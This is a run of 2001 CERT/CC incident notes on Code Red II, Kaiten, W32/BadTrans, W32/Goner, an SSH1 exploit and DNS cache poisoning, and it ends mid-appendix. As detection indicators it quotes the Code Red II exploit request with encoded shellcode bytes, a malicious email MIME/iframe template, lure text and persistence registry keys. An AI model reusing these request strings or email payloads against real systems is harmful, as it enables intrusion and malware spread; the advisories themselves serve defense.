CERT publications and other security information are available from our web site: http://www.cert.org/.

To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message

```
subscribe cert-advisory
```

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

Revision History

July 19, 2001: Initial Release
January 17, 2002: Updated Reporting section

9 IN-2001-09: "Code Red II:" Another Worm Exploiting Buffer Overflow in IIS Indexing Service DLL

Release Date: August 6, 2001

Systems Affected

- Windows 2000 with IIS 4.0 or IIS 5.0 enabled and Indexing services installed
- Microsoft Windows NT 4.0 with IIS 4.0 or IIS 5.0 enabled and Index Server 2.0 installed
- Cisco CallManager, Unity Server, uOne, ICS7750, Building Broadband Service Manager (these systems run IIS)
- Cisco 600 series DSL routers

I. Overview

The CERT/CC has received reports of new self-propagating malicious code exploiting the vulnerability described in CA-2001-13 Buffer Overflow In IIS Indexing Service DLL. These reports indicate that the worm has already affected thousands of systems. This new worm is being called "Code Red II," however, except for using the same buffer overflow mechanism, it is different from the original "Code Red" worm described in CA-2001-19 "Code Red" Worm Exploiting Buffer Overflow In IIS Indexing Service DLL.

The "Code Red II" worm causes system level compromise and leaves a backdoor on certain machines running Windows 2000. Vulnerable Windows NT 4.0 systems could experience a disruption of the IIS service.

II. Description

The "Code Red II" worm is self-propagating malicious code that exploits a known vulnerability in Microsoft IIS servers (CA-2001-13).

Attack Cycle

The "Code Red II" worm attacks as follows:

1. The "Code Red II" worm attempts to connect to TCP port 80 on a randomly chosen host assuming that a web server will be found. Upon a successful connection to port 80, the attacking host sends a crafted HTTP GET request to the victim, attempting to exploit the buffer overflow in the Indexing Service described in CA-2001-13
2. The same exploit is sent to each of the randomly chosen hosts due to the self-propagating nature of the worm. However, there are varied consequences depending on the configuration of the host which receives this request.
   - **Unpatched Windows 2000 servers running IIS 4.0 or 5.0 with Indexing Service installed** are likely to be compromised by the "Code Red II" worm.

- **Unpatched Windows NT servers running IIS 4.0 or 5.0 with Indexing Server 2.0 installed** could experience crashes of the IIS server.
- **Unpatched Cisco 600-series DSL routers** will process the HTTP request thereby exploiting an unrelated vulnerability which causes the router to stop forwarding packets. [http://www.cisco.com/warp/public/707/cisco-code-red-worm-pub.shtml]
- **Patched systems, or systems not running IIS with an HTTP server listening on TCP port 80** will probably accept the HTTP request, return with an "HTTP 4xx" error message, and potentially log this request in an access log.

3. If the exploit is successful, the worm begins executing on the victim host.

Payload

Upon successful compromise of a system, the worm

1. Checks to see if it has already infected this system by verifying the existence of the `CodeRedII` atom. If the worm finds this atom it sleeps forever. Otherwise it creates this atom and continues the infection process. Reference information regarding atoms may be found at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/ipc/hh/winbase/atoms_0p83.asp
2. Checks the default system language, and spawns threads for propagation. If the default system language is "Chinese (Taiwanese)" or "Chinese (PRC)", 600 threads will be spawned to scan for 48 hours. Otherwise, 300 threads will be created which will scan for 24 hours.
3. Copies `%SYSTEM%\CMD.EXE` to `root.exe` in the IIS `scripts` and `MSADC` folders. Placing `CMD.EXE` in a publicly accessible directory may allow an intruder to execute arbitrary commands on the compromised machine with the privileges of the IIS server process.
4. Creates a Trojan horse copy of `explorer.exe` and copies it to `C:\` and `D:\`. The Trojan horse `explorer.exe` calls the real `explorer.exe` to mask its existence, and creates a virtual mapping which exposes the `C:` and `D:` drives.

   On systems not patched against the "Relative Shell Path" vulnerability (http://www.microsoft.com/technet/security/bulletin/MS00-052.asp), this Trojan horse copy of `explorer.exe` will run every time a user logs in. In this fashion, certain pieces of the worm's payload have persistence even after a reboot of the compromised machine.

System Footprint

The "Code Red II" worm can be identified on victim machines by the presence of the following string in IIS log files:

```
GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%
u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b0
0%u531b%u53ff%u0078%u0000%u00=a
```

The presence of this string in a log file does not neccessarily indicate compromise, it only implies that a "Code Red II" worm attempted to infect the machine.

The worm will create several files on the compromised machines. These files include `c:\explorer.exe` or `d:\explorer.exe`, as well as `root.exe` in the IIS `scripts` or `MSADC` folder. While the existence of the file `root.exe` could indicate compromise, it does not necessarily imply the presence of the "Code Red II" worm. This file name has been used for artifacts of other exploits, including the sadmind/IIS worm (see CA-2001-11).

Network Footprint

A host running an active instance of the "Code Red II" worm will scan random IP addresses on port 80/TCP looking for other hosts to infect. The IP addresses scanned by the "Code Red II" worm are determined in a probabilistic manner:

- There is a **one in two** chance that a given thread will scan random IP addresses with the same first byte as the infected host.
- There is a **three in eight** chance that a given thread will scan random IP addresses with the same first two bytes as the infected host.
- There is a **one in eight** chance that a given thread will scan random IP addresses.

Additional detailed analysis of this worm has been published by eEye Digital Security at http://www.eeye.com.

III. Impact

Intruders can execute arbitrary commands within the `LocalSystem` security context on Windows 2000 systems infected with the "Code Red II" worm. Compromised systems may be subject to files being altered or destroyed. Denial-of-service conditions may be created for services relying on altered or destroyed files. Hosts that have been compromised are also at high risk for being party to attacks on other Internet sites.

The widespread, automated attack and propagation characteristics of the "Code Red II" may cause bandwidth denial-of-service conditions in isolated portions of the network, particularly near groups of compromised hosts where "Code Red II" is running.

Windows NT 4.0 systems and Cisco 600-series DSL routers may experience denial-of-service as a result of the scanning activity of the worm.

IV. Solutions

Infection by the "Code Red II" worm constitutes a system level compromise. If you believe a host under your control has been compromised, please refer to Steps for Recovering from a UNIX or NT System Compromise.

Consistent with the security best-practice of denying all network traffic and only selectively allowing that which is required, ingress and egress filtering should be implemented at the network edge. Likewise, controls must be in place to ensure that all software used on a network is properly maintained. See CA-2001-23 Continued Threat of the "Code Red" Worm for more information on these topics.

V. Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org.

Author(s): Roman Danyliw, Allen Householder, and Marty Lindner

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key.

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

CERT publications and other security information are available from our website: http://www.cert.org/.

To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message

```
subscribe cert-advisory
```

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

Revision History

```
August 6, 2001: Initial Release
January 17, 2002: Updated Reporting section
```

10 IN-2001-10: "Code Red" Worm Crashes IIS 4.0 Servers with URL Redirection Enabled

Release Date: August 16, 2001

Systems Affected

- Microsoft Windows NT 4.0 running Internet Information Server (IIS) 4.0 with URL Redirection enabled

I. Overview

The CERT/CC has received numerous reports of Windows NT 4.0 IIS 4.0 servers patched according to Microsoft Security Bulletin MS01-033 crashing when scanned by the "Code Red" worm.

II. Description

A vulnerability in Microsoft IIS 4.0 allows an attacker to crash an IIS 4.0 server by sending a crafted URL if the server is configured to use URL redirection (URL redirection is not enabled by default). This vulnerability is exercised by the "Code Red" worm, but it is distinct from the vulnerability described in CA-2001-13 that allows the worm to compromise systems. IIS 4.0 servers configured to use URL redirection and patched according to Microsoft Security Bulletin MS01-033 are no longer vulnerable to compromise by the "Code Red" worm, but they may crash due to this new vulnerability.

For more information, please see

> CERT Vulnerability Note VU#544555 - Microsoft Internet Information Server 4.0 (IIS) vulnerable to DoS when URL redirecting is enabled
>
> Microsoft Security Bulletin MS01-044

III. Impact

"Code Red" scanning activity can result in a denial-of-service attack against a Windows NT 4.0 IIS 4.0 server with URL redirection enabled.

IV. Solutions

Apply the patch from Microsoft Security Bulletin MS01-044.

> http://www.microsoft.com/Downloads/Release.asp?ReleaseID=32061

V. Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are affected by this activity, please send mail to cert@cert.org.

Author(s): Brian B. King

This document is available from: http://www.preview.cert.org/incident_notes/IN-2001-10.html

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key.

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

CERT publications and other security information are available from our website: http://www.cert.org/.

Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement.

Conditions for use, disclaimers, and sponsorship information

11 IN-2001-11: Cache Corruption on Microsoft DNS Servers

Release Date: August 31, 2001

Systems Affected

Microsoft Windows NT 4.0 and Windows 2000 systems running Microsoft DNS Server

I. Overview

The CERT/CC has received reports from sites experiencing cache corruption on systems running Microsoft DNS Server. The default configuration of this software allows data from malicious or incorrectly configured servers to be cached in the DNS server. This corruption can result in erroneous DNS information later being returned to any clients which use this server.

II. Description

In the default configuration, Microsoft DNS server will accept bogus glue records from non-delegated servers. These bogus records will be added to the cache when a client attempts to resolve a particular hostname served by a malicious or incorrectly configured DNS server. The client can be coerced to request such a hostname as a result of an otherwise non-malicious piece of HTML email (such as spam) or in banner advertisements on websites, to give some examples.

Based on information contained in reports of this activity, there are sites actively engaged in this deceptive DNS resolution. These reports indicate that malicious DNS servers are providing bogus glue records for the generic top-level domain servers (gtld-servers.net) potentially resulting in erroneous results (e.g., failed resolution or redirection) for any DNS request.

More information about the problem can be found at

VU#109475 - Microsoft Windows NT and 2000 Domain Name Servers allow non-authoritative RRs to be cached by default
http://www.kb.cert.org/vuls/id/109475

Secure server cache against names pollution
http://www.microsoft.com/WINDOWS2000/en/server/help/sag_DNS_pro_SecureCachePollutedNames.htm

How to Prevent DNS Cache Pollution (Q241352)
http://support.microsoft.com/support/kb/articles/Q241/3/52.ASP
http://msdn.microsoft.com/library/en-us/regentry/46753.asp

III. Impact

Clients resolving hostnames against the corrupted cache can be unknowingly redirected to illegitimate sites. Additionally, applications that rely on DNS information for authentication or access control can potentially be manipulated by erroneous information stored in the cache.

IV. Solutions

Apply the workarounds supplied by Microsoft at
http://support.microsoft.com/support/kb/articles/Q241/3/52.ASP.

V. References

Internet Engineering Task Force (IETF) Request for Comments (RFCs):

IETF RFC 1034: DOMAIN NAMES - CONCEPTS AND FACILITIES

IETF RFC 1035: DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION

IETF RFC 1912: Common DNS Operational and Configuration Errors

IETF RFC 2181: Clarifications to the DNS Specification

VI. Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: "[CERT#29164]".

Author(s): Chad Dougherty, Roman Danyliw

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key.

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

CERT publications and other security information are available from our website: http://www.cert.org/.

To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message

```
subscribe cert-advisory
```

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

Revision History

```
August 31, 2001: Initial Release
```

12 IN-2001-12: Exploitation of vulnerability in SSH1 CRC-32 compensation attack detector

Original release Date: November 5, 2001
Last revised: November 7, 2001

I. Overview

The CERT/CC has received multiple reports of systems being compromised via the CRC-32 compensation attack detector vulnerability described in VU#945216. We are also receiving reports of increased scanning activity for the SSH service (22/tcp).

II. Description

In reports received by the CERT/CC, systems compromised via this vulnerablity have exhibited the following pattern in system log messages:

```
hostname sshd[xxx]: Disconnecting: Corrupted check bytes on input.
hostname sshd[xxx]: Disconnecting: crc32 compensation attack: network attack
detected
hostname sshd[xxx]: Disconnecting: crc32 compensation attack: network attack
detected
...
```

The exploit for this vulnerability appears to use a brute force method, so many messages of this type may be logged before a system is successfully compromised.

The following artifacts have been discovered on systems that were successfully compromised:

- Installation of rootkits that modify standard system utilities to hide the intruder's actions
- Installation of Trojan horse versions of the SSH software, compiled from the latest OpenSSH source code plus intruder-supplied modifications
- Installation of tools to scan large network blocks for other systems that are vulnerable to compromise. Log files left behind from these tools indicate that they operate by looking for the banner displayed upon connection to the sshd service.

III. Impact

An intruder can execute arbitrary code with the privileges of the SSH daemon, typically root.

IV. Solutions

Apply a patch

Please refer to the vendor information contained in VU#945216 for information on available patches. In cases where patches are not available, the CERT/CC recommends upgrading to the latest version of the appropriate secure shell software package.

Disable SSHv1 fallback support

Because the vulnerability affects software handling the SSHv1 protocol, sites may wish to enable SSHv2 support only and disable SSHv1 fallback support. Refer to your secure shell server software documentation for information about how to accomplish this.

Disabling SSHv1 support is generally a good practice, since a number of other vulnerabilities exist in the SSHv1 protocol itself and software handling of this protocol.

Restrict access to the secure shell service

Until a patch can be applied, you may wish to restrict access to the secure shell service. This can be accomplished by applying packet filters for port 22/tcp at your network perimeter. While this measure will limit your exposure to attacks, blocking port 22/tcp at a network perimeter would still allow attackers within the perimeter of your network to exploit the vulnerability. It is important to understand your network's configuration and service requirements before deciding what changes are appropriate.

In cases where applying packet filters is not feasible, host-based access control can be used. Some secure shell implementations support builtin access control by means of the `AllowHosts` directive in the SSH server configuration file. If this support is not available, software such as Wietse Venema's TCP Wrappers can be used to restrict access to the secure shell daemon.

If you believe a host under your control has been compromised, you may wish to refer to

> Steps for Recovering from a UNIX or NT System Compromise

Author(s): Roman Danyliw, Chad Dougherty, John Shaffer

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University

Pittsburgh PA 15213-3890
U.S.A.

CERT personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key.

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

CERT publications and other security information are available from our website: http://www.cert.org/.

To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message

```
subscribe cert-advisory
```

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

Revision History

```
November 5, 2001: Initial Release
November 7, 2001: Avoid confusion between commercial product and general terms
```

13 IN-2001-13: "Kaiten" Malicious Code Installed by Exploiting Null Default Passwords in MS-SQL

Release Date: November 27, 2001

Systems Affected

- Systems running Microsoft SQL Server or Microsoft SQL Server 2000 installed with mixed mode security enabled
- Systems running Microsoft Data Engine 1.0 (MSDE 1.0) or Microsoft SQL Server 2000 Desktop Engine (MSDE 2000) installed with mixed mode security enabled
- Systems running Tumbleweed's Secure Mail (MMS) versions 4.3, 4.5, and 4.6

Overview

The CERT/CC has received reports of a new variant of the "Kaiten" malicious code being installed through exploitation of null default *sa* passwords in Microsoft SQL Server and Microsoft Data Engine. (Microsoft SQL Server 2000 will allow a null *sa* password to be used, but this is not default behavior.) Various sources have referred to this malicious code as "W32/Voyager," "Voyager Alpha Force," and "W32/CBlade.worm."

Description

"Kaiten" made its initial appearance in August 2001 and is based on the "Knight" distributed attack tool mentioned in CA-2001-20 Continuing Threats to Home Users.

In reports received by the CERT/CC, installation of "Kaiten" was preceded by scans for hosts listening on 1433/tcp (MS-SQL). The infection process leverages *sa* accounts with null passwords to gain access to vulnerable systems. It then uses the `xp_cmdshell` stored procedure to initiate an FTP session from the victim system to a remote site. A copy of "Kaiten" is then downloaded and executed on the victim system.

Additional information on the null default *sa* password in Microsoft SQL Server, MSDE, and MMS is available in VU#635463.

Once the "Kaiten" code has begun execution on the victim system, it connects to an IRC server (on port 6667/tcp or 6669/tcp, according to reports received by the CERT/CC) to await further commands from the attacker. The attacker can then remotely issue commands to multiple compromised systems simultaneously, allowing compromised hosts to be used as DDoS agents, port scanners, etc. The attacker can also remotely reconfigure "Kaiten" via IRC to modify certain settings, including the IRC servers and channels it connects to.

Additional information on denial-of-service tools, including "Kaiten/Knight," can be found in in the CERT/CC's Trends in Denial of Service Attack Technology paper.

Impact

Through the use of the `xp_cmdshell` stored procedure, an attacker may execute arbitrary commands on the system in whatever security context the Microsoft SQL Server services are running in. This is typically a user with system-level privileges.

Furthermore, since "Kaiten" contains both DDoS and scanning tools, compromised systems may be used in attacks on other systems. Reports to the CERT/CC indicate that attacks using this functionality have occurred at multiple sites.

Solutions

Detection

At least three variants of "Kaiten" have been found on compromised systems reported to the CERT/CC. The presence of any of these files on a system is a likely indicator that the system has been compromised.

- `rpcloc32.exe` (md5 = 43d29ba076b4fd7952c936dc1737fcb4)
- `dnsservice.exe` (md5 = 79386a78a03a1665803d8a65c04c8791)
- `win32mon.exe` (md5 = 4cd44f24bd3d6305df73d8aa16d4caa0)

Reaction

If you believe a system under your administrative control may have been compromised, please refer to Steps for Recovering from a UNIX or NT System Compromise.

Protection

Set a non-null *sa* password

Following best practices, passwords should never be left at their default value. Ensure that a password has been assigned to the *sa* account on Microsoft SQL Servers under your control.

Note that when installing Microsoft SQL 2000 Server, the application prompts for an *sa* password. If a null password is entered a warning will be displayed, but the application will permit a null password to be used.

Instructions to change the password are located at

> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/ modadmin/html/deconchangingsqlserveradministratorlogin.asp
>
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/ adminsql/ad_1_server_5un8.asp

Additional information on securing Microsoft SQL Server can be found at

> http://www.microsoft.com/sql/techinfo/administration/2000/security.asp

Ingress filtering

Ingress filtering manages the flow of traffic as it enters a network under your administrative control. Servers are typically the only machines that need to accept inbound connections from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound connections to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound connections to non-authortized services. With "Kaiten," ingress filtering of port 1433/tcp could prevent attackers outside of your network from scanning or infecting vulnerable MS-SQL servers in the local network that are not explicitly authorized to provide public SQL services.

Egress filtering

Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound connections to the Internet. In the case of "Kaiten," employing egress filtering on the standard IRC ports (6660-6669/tcp) at your network border can help prevent systems on your network from being controlled by remote attackers via IRC. It should be noted, however, that an attacker might run IRC services on non-standard ports, and that "Kaiten" can be reconfigured to use a different port for connections to a control channel. Therefore, egress filtering alone does not provide a complete solution to the problem.

Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: "[CERT#23969]".

Author(s): Allen Householder

Revision History

```
November 27, 2001: Initial Release
November 28, 2001: Added link to MS SQL security page
December 21, 2001: Clarified Microsoft product nomenclature
```

14 IN-2001-14: W32/BadTrans Worm

Release Date: November 27, 2001

Systems Affected

- Systems running Microsoft Windows 95, 98, ME, NT, and 2000

Overview

W32/BadTrans is a malicious Windows program distributed as an email file attachment. Because of a known vulnerability in Internet Explorer, some email programs, such as Outlook Express and Outlook, may execute the malicious program as soon as the email message is viewed.

Description

The W32/BadTrans worm attempts to use two known vulnerabilities to compromise systems and propagate.

The format of the MIME headers in an email containing W32/BadTrans attempts to exploit a vulnerability in Internet Explorer where certain MIME types can cause arbitrary code to be executed. For more information, including patch information, see

> CERT Vulnerability Note VU#980499
> http://www.kb.cert.org/vuls/id/980499

On systems that are patched for this vulnerability, the user may receive a confirmation message asking whether or not to execute the attachment. Running the attachment on these systems will **still** result in a compromise. Users should not execute programs in email attachments unless they exercise reasonable care to ensure that the attachments do not contain malicious code.

The filename in the email attachment of a W32/BadTrans infected email varies from message to message but always has two file extensions. By default, Windows may hide the true file extension from the user, as discussed in

> CERT Incident Note IN-2000-07
> http://www.cert.org/incident_notes/IN-2000-07.html

When the malicious program is executed, a copy is written as "Kernel32.exe" in the Windows directory.

```
C:\WINDOWS\Kernel32.exe
  MD5 checksum = 0bf5eaeed25da53f85086767bcd86e5e
  Filesize     = 29020 bytes
```

Kernel32.exe is executed and the originally executed file attachment is deleted from the system. Kernel32.exe may run as a system service on some versions of Windows, causing it to not be visible in the default system task list provided by Microsoft.

Kernel32.exe writes two additional files to disk in the Windows system directory.

```
C:\WINDOWS\SYSTEM\kdll.dll
  MD5 checksum = c7ceb9fb63edc7fb7c7767f899ff5491
  Filesize     = 5632 bytes
C:\WINDOWS\SYSTEM\cp_25389.nls
  MD5 checksum = varies
  Filesize     = varies
```

Reports indicate the "kdll.dll" file contains routines to record a user's keystrokes on the infected computer. The "cp_25389.nls" file contains logged keystrokes in encrypted form. Some reports indicate the contents of the log file are sent via email to a particular destination potentially causing sensitive information to be exposed.

Kernel32.exe sets a registry key to insure it is restarted when the computer restarts.

```
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\Kernel32  = "kernel32.exe"
```

While running, Kernel32.exe checks this registry value approximately every 10 seconds to insure that it is set.

Reports indicate that W32/BadTrans sends copies of itself via email to addresses found in unanswered email or in files found on the computer system. Email messages generated and sent by W32/BadTrans have some identifiable characteristics.

During the SMTP conversation, the W32/BadTrans host will issue a "HELO AOL.COM" statement. This is generally visible in the resulting Received: header in the message.

The address in the From: header will have a '_' prepended to the sender's email address.

The MIME headers contain:

```
Mime-Version: 1.0
Content-Type: multipart/related;
    type="multipart/alternative";
    boundary="====_ABC1234567890DEF_====
```

The body of the MIME message contains:

```
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
         boundary="====_ABC0987654321DEF_====
--====_ABC0987654321DEF_====
Content-Type: text/html;
         charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
```

```
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
         name="filename.ext.ext"
Content-Transfer-Encoding: base64
Content-ID: EA4DMGBP9p
```

Some reports in public forums indicate that a backdoor is installed by W32/BadTrans, however the CERT/CC has been unable to confirm these reports in our own analysis.

Impact

The worm can execute arbitrary commands with the same privileges as the user who triggered it.

During propagation, sites may experience residual denial-of-service conditions on hosts or email systems through which the worm is sent.

Solutions

Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends upgrading to at least version 5.0 since older versions are no longer officially maintained by Microsoft. Users of IE 5.0 and above are encouraged to apply patch for the "Automatic Execution of Embedded MIME Types" vulnerability available from Microsoft at http://www.microsoft.com/technet/security/bulletin/MS01-020.asp.

Note: IE 5.5 SP1 users should apply the patches discussed in MS01-027

Run and maintain an antivirus product

It is important for users to update their anti-virus software. Most antivirus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific antivirus information can be found in Appendix A.

Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available.

Don't open email attachments

The W32/BadTrans worm may arrive as an email attachment with a filename such as "file.ext1.ext2". Users should **not** open attachments of this nature. If an attachment of this type absolutely needs to be opened, the CERT/CC recommends exercising care to handle it in a way that allows it to be scanned for malicious code prior to execution.

Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: "[CERT#26210]".

Appendix A. Vendor Information

Antivirus Vendor Information

Aladdin Knowledge Systems

http://www.ealaddin.com/home/csrt/valerts2.asp?virus_no=10093&cf=tl

Command Software Systems

http://www.commandcom.com/virus/badtrans.html

Computer Associates

http://www3.ca.com/Virus/Virus.asp?ID=10579

F-Secure Corp

http://www.fsecure.com/v-descs/badtrs_b.shtml

McAfee

http://vil.mcafee.com/dispVirus.asp?virus_k=99069&

Norman Data Defense Systems

http://www.norman.com/virus_info/w32_badtrans_29090_mm.shtml

Panda Software

http://service.pandasoftware.es/servlet/panda.pandaInternet.EntradaDatosInternet? operacion=EV2FichaVirus&pestanaFicha=0&idioma=2&nombreVirusFicha=W32/Badtrans.B

P Software

http://www.pspl.com/virus_info/worms/badtransb.htm

Sophos

http://www.sophos.com/virusinfo/analyses/w32badtransb.html

Symantec

http://www.symantec.com/avcenter/venc/data/w32.badtrans.b@mm.html

Trend Micro

http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=WORM_BADTRANS.B

In addition to these specific vendors, you may wish to visit the CERT/CC's computer virus resources page located at

http://www.cert.org/other_sources/viruses.html

Author(s): Kevin Houle, Chad Dougherty

Revision History

```
November 27, 2001: Initial Release
November 28, 2001: Corrected incident number in reporting section
February 28, 2002: Removed extraneous text from F-Secure vendor link
```

15 IN-2001-15: W32/Goner Worm

Release Date: December 4, 2001

Systems Affected

- Systems running Microsoft Windows with Microsoft Outlook installed
- Systems running Microsoft Windows with Microsoft Office and ICQ installed

Overview

W32/Goner is a malicious Windows program distributed as an email file attachment and via ICQ file transfers. To a user, the file (gone.scr) appears to be a Windows screen saver. W32/Goner infects a system when a user executes file "gone.scr".

Description

Late this morning, the CERT/CC began receiving reports of a new piece of malicious code known as W32/Goner. Since that time, the CERT/CC has received an increasing number of reports of this code circulating on the Internet.

Analysis indicates that this code is spreading via email with the following characteristics:

```
Subject: Hi!
Body:   How are you ?
        When I saw this screen saver, I immediately thought about you
        I am in a harry, I promise you will love it!
Attachment:gone.scr
```

Several anti-virus vendors have stated that this code may also propogate via the ICQ messaging program. W32/Goner is believed to initiate a file transfer with any "online" users in the infected user's contact list. If the user on the receiving end approves the transfer, the worm sends a copy of itself.

When the file "gone.scr" is executed, the worm displays a splash screen and a false error message in an attempt to fool the user into thinking the program is a legitimate screen saver. It copies itself to the Windows system folder (usually C:\WINDOWS\SYSTEM32\scr.exe or C:\WINNT\SYSTEM32\scr.exe) and modifies the Windows registry to execute itself upon reboot by adding the following key:

> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
> C:%WINDIR%\SYSTEM\gone.scr=C:\%WINDIR\SYSTEM\gone.scr

W32/Goner propagates by sending itself to all addresses listed in the Microsoft Outlook address book and all online users in the ICQ contacts list.

In addition, the worm looks for and terminates processes associated with many popular antivirus and security programs. The following processes/files are targeted by this malicious code:

APLICA32.EXE
ZONEALARM.EXE
ESAFE.EXE
CFIADMIN.EXE
CFIAUDIT.EXE
CFINET.EXE
PCFWallIcon.EXE
FRW.EXE
VSHWIN32.EXE
VSECOMR.EXE
WEBSCANX.EXE
AVCONSOL.EXE
VSSTAT.EXE
PW32.EXE
VW32.EXE
VP32.EXE
VPCC.EXE
VPM.EXE
_AVP32.EXE
_AVPCC.EXE
_AVPM.EXE
AVP32.EXE
AVPCC.EXE
AVPM.EXE
AVP.EXE
LOCKDOWN2000.EXE
ICLOAD95.EXE
ICMON.EXE
ICSUPP95.EXE
ICLOADNT.EXE
ICSUPPNT.EXE
TDS2-98.EXE
TDS2-NT.EXE
FEWEB.EXE
SAFEWEB.EXE

If W32/Goner finds any of these programs running, the process is terminated and all files in the directory containing that executable are deleted. If the worm is unable to delete the files immediately, it creates a file called WININIT.INI, which deletes the files upon reboot.

There is also some evidence that W32/Goner may install denial of service scripts for the mIRC Internet Relay Chat client.

Impact

The worm may disable anti-virus and security software installed on the system.

During propagation, sites may experience residual denial of service conditions on hosts or email systems through which the worm is sent.

Solutions

Run and maintain an antivirus product

It is important for users to update their antivirus software. Most antivirus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific antivirus information can be found in Appendix A.

Many antivirus packages support automatic updates of virus definitions. We recommend using these automatic updates when available.

Don't open email attachments

The W32/Goner worm may arrive as an email attachment (gone.scr). Users should **not** open attachments of this nature. In general, users should use caution when opening any email attachment by first scanning it with an anti-virus product.

Don't open files received via instant messaging applications

The W32/Goner worm may arrive via an ICQ file transfer. ICQ users should exercise caution when opening files received via a file transfer just as they would with email attachments.

Filter email attachments

System administrators may install filters on mail servers to prevent potentially harmful files (.exe, .vbs, .bat, .scr, etc.) from being spread via email. In this case filters could be used to prevent the spread of "gone.scr".

Reporting

The CERT/CC is interested in receiving reports of this activity. If machines under your administrative control are compromised, please send mail to cert@cert.org with the following text included in the subject line: "[CERT#27693]".

Appendix A. Vendor Information

Antivirus Vendor Information

Computer Associates

http://www3.ca.com/solutions/collateral.asp?CT=65&ID=1212

F-Secure Corp

http://www.fsecure.com/v-descs/goner.shtml

McAfee

http://vil.nai.com/vil/virusSummary.asp?virus_k=99272

Norman Data Defense Systems

http://www.norman.com/virus_info/w32_goner_a_mm.shtml

Sophos

